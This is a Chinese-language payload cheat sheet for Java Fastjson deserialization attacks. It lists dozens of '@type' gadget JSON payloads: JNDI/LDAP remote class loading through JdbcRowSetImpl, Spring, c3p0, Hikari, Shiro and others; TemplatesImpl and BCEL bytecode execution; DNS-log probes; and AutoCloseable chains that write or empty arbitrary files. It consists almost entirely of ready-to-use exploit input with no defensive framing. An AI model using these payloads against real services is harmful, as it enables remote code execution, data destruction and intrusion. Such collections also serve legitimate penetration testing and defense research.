以下为部分在各个途径搜集的 payload,版本自测:
    JdbcRowSetImpl

    1. {
    2. "@type": "com.sun.rowset.JdbcRowSetImpl",
    3. "dataSourceName": "ldap://127.0.0.1:23457/Command8",
    4. "autoCommit": true
    5. }

    TemplatesImpl

    1. {
    2. "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    3. "_bytecodes": ["yv66vgA...k="],
    4. '_name': 'su18',
    5. '_tfactory': {},
    6. "_outputProperties": {},
    7. }

    JndiDataSourceFactory

    1. {
    2. "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    3. "properties": {
    4. "data_source": "ldap://127.0.0.1:23457/Command8"
    5. }
    6. }

    SimpleJndiBeanFactory

    1. {
    2. "@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
    3. "targetBeanName": "ldap://127.0.0.1:23457/Command8",
    4. "propertyPath": "su18",
    5. "beanFactory": {
    6. "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
    7. "shareableResources": [
    8. "ldap://127.0.0.1:23457/Command8"
    9. ]
    10. }
    11. }

    DefaultBeanFactoryPointcutAdvisor

    1. {
    2. "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
    3. "beanFactory": {
    4. "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
    5. "shareableResources": [
    6. "ldap://127.0.0.1:23457/Command8"
    7. ]
    8. },
    9. "adviceBeanName": "ldap://127.0.0.1:23457/Command8"
    10. },
    11. {
    12. "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
    13. }

    WrapperConnectionPoolDataSource

    1. {
    2. "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
    3. "userOverridesAsString": "HexAsciiSerializedMap:aced000...6f;"
    4. }

    JndiRefForwardingDataSource

    1. {
    2. "@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
    3. "jndiName": "ldap://127.0.0.1:23457/Command8",
    4. "loginTimeout": 0
    5. }

    InetAddress

    1. {
    2. "@type": "java.net.InetAddress",
    3. "val": "http://dnslog.com"
    4. }

    Inet6Address

    1. {
    2. "@type": "java.net.Inet6Address",
    3. "val": "http://dnslog.com"
    4. }

    URL

    1. {
    2. "@type": "java.net.URL",
    3. "val": "http://dnslog.com"
    4. }

    JSONObject

    1. {
    2. "@type": "com.alibaba.fastjson.JSONObject",
    3. {
    4. "@type": "java.net.URL",
    5. "val": "http://dnslog.com"
    6. }
    7. }
    8. ""
    9. }

    URLReader

    1. {
    2. "poc": {
    3. "@type": "java.lang.AutoCloseable",
    4. "@type": "com.alibaba.fastjson.JSONReader",
    5. "reader": {
    6. "@type": "jdk.nashorn.api.scripting.URLReader",
    7. "url": "http://127.0.0.1:9999"
    8. }
    9. }
    10. }

    AutoCloseable 任意文件写入

    1. {
    2. "@type": "java.lang.AutoCloseable",
    3. "@type": "org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream",
    4. "out": {
    5. "@type": "java.io.FileOutputStream",
    6. "file": "/path/to/target"
    7. },
    8. "parameters": {
    9. "@type": "org.apache.commons.compress.compressors.gzip.GzipParameters",
    10. "filename": "filecontent"
    11. }
    12. }

    BasicDataSource

    1. {
    2. "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
    3. "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A...",
    4. "driverClassLoader" :
    5. {
    6. "@type":"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"
    7. }
    8. }

    JndiConverter

    1. {
    2. "@type": "org.apache.xbean.propertyeditor.JndiConverter",
    3. "AsText": "ldap://127.0.0.1:23457/Command8"
    4. }

    JtaTransactionConfig

    1. {
    2. "@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
    3. "properties": {
    4. "@type": "java.util.Properties",
    5. "UserTransaction": "ldap://127.0.0.1:23457/Command8"
    6. }
    7. }

    JndiObjectFactory

    1. {
    2. "@type": "org.apache.shiro.jndi.JndiObjectFactory",
    3. "resourceName": "ldap://127.0.0.1:23457/Command8"
    4. }

    AnterosDBCPConfig

    1. {
    2. "@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
    3. "metricRegistry": "ldap://127.0.0.1:23457/Command8"
    4. }

    AnterosDBCPConfig2

    1. {
    2. "@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
    3. "healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
    4. }

    CacheJndiTmLookup

    1. {
    2. "@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
    3. "jndiNames": "ldap://127.0.0.1:23457/Command8"
    4. }

    AutoCloseable 清空指定文件

    1. {
    2. "@type":"java.lang.AutoCloseable",
    3. "@type":"java.io.FileOutputStream",
    4. "file":"/tmp/nonexist",
    5. "append":false
    6. }

    AutoCloseable 清空指定文件

    1. {
    2. "@type":"java.lang.AutoCloseable",
    3. "@type":"java.io.FileWriter",
    4. "file":"/tmp/nonexist",
    5. "append":false
    6. }

    AutoCloseable 任意文件写入

    1. {
    2. "stream":
    3. {
    4. "@type":"java.lang.AutoCloseable",
    5. "@type":"java.io.FileOutputStream",
    6. "file":"/tmp/nonexist",
    7. "append":false
    8. },
    9. "writer":
    10. {
    11. "@type":"java.lang.AutoCloseable",
    12. "@type":"org.apache.solr.common.util.FastOutputStream",
    13. "tempBuffer":"SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=",
    14. "sink":
    15. {
    16. "$ref":"$.stream"
    17. },
    18. "start":38
    19. },
    20. "close":
    21. {
    22. "@type":"java.lang.AutoCloseable",
    23. "@type":"org.iq80.snappy.SnappyOutputStream",
    24. "out":
    25. {
    26. "$ref":"$.writer"
    27. }
    28. }
    29. }

    BasicDataSource

    1. {
    2. "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
    3. "driverClassName": "true",
    4. "driverClassLoader": {
    5. "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    6. },
    7. "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A"
    8. }

    HikariConfig

    1. {
    2. "@type": "com.zaxxer.hikari.HikariConfig",
    3. "metricRegistry": "ldap://127.0.0.1:23457/Command8"
    4. }

    HikariConfig

    1. {
    2. "@type": "com.zaxxer.hikari.HikariConfig",
    3. "healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
    4. }

    HikariConfig

    1. {
    2. "@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
    3. "metricRegistry": "ldap://127.0.0.1:23457/Command8"
    4. }

    SessionBeanProvider

    1. {
    2. "@type": "org.apache.commons.proxy.provider.remoting.SessionBeanProvider",
    3. "jndiName": "ldap://127.0.0.1:23457/Command8",
    4. "Object": "su18"
    5. }

    JMSContentInterceptor

    1. {
    2. "@type": "org.apache.cocoon.components.slide.impl.JMSContentInterceptor",
    3. "parameters": {
    4. "@type": "java.util.Hashtable",
    5. "java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory",
    6. "topic-factory": "ldap://127.0.0.1:23457/Command8"
    7. },
    8. "namespace": ""
    9. }

    ContextClassLoaderSwitcher

    1. {
    2. "@type": "org.jboss.util.loading.ContextClassLoaderSwitcher",
    3. "contextClassLoader": {
    4. "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    5. },
    6. "a": {
    7. "@type": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$...$A$A"
    8. }
    9. }

    OracleManagedConnectionFactory

    1. {
    2. "@type": "oracle.jdbc.connector.OracleManagedConnectionFactory",
    3. "xaDataSourceName": "ldap://127.0.0.1:23457/Command8"
    4. }

    JNDIConfiguration

    1. {
    2. "@type": "org.apache.commons.configuration.JNDIConfiguration",
    3. "prefix": "ldap://127.0.0.1:23457/Command8"
    4. }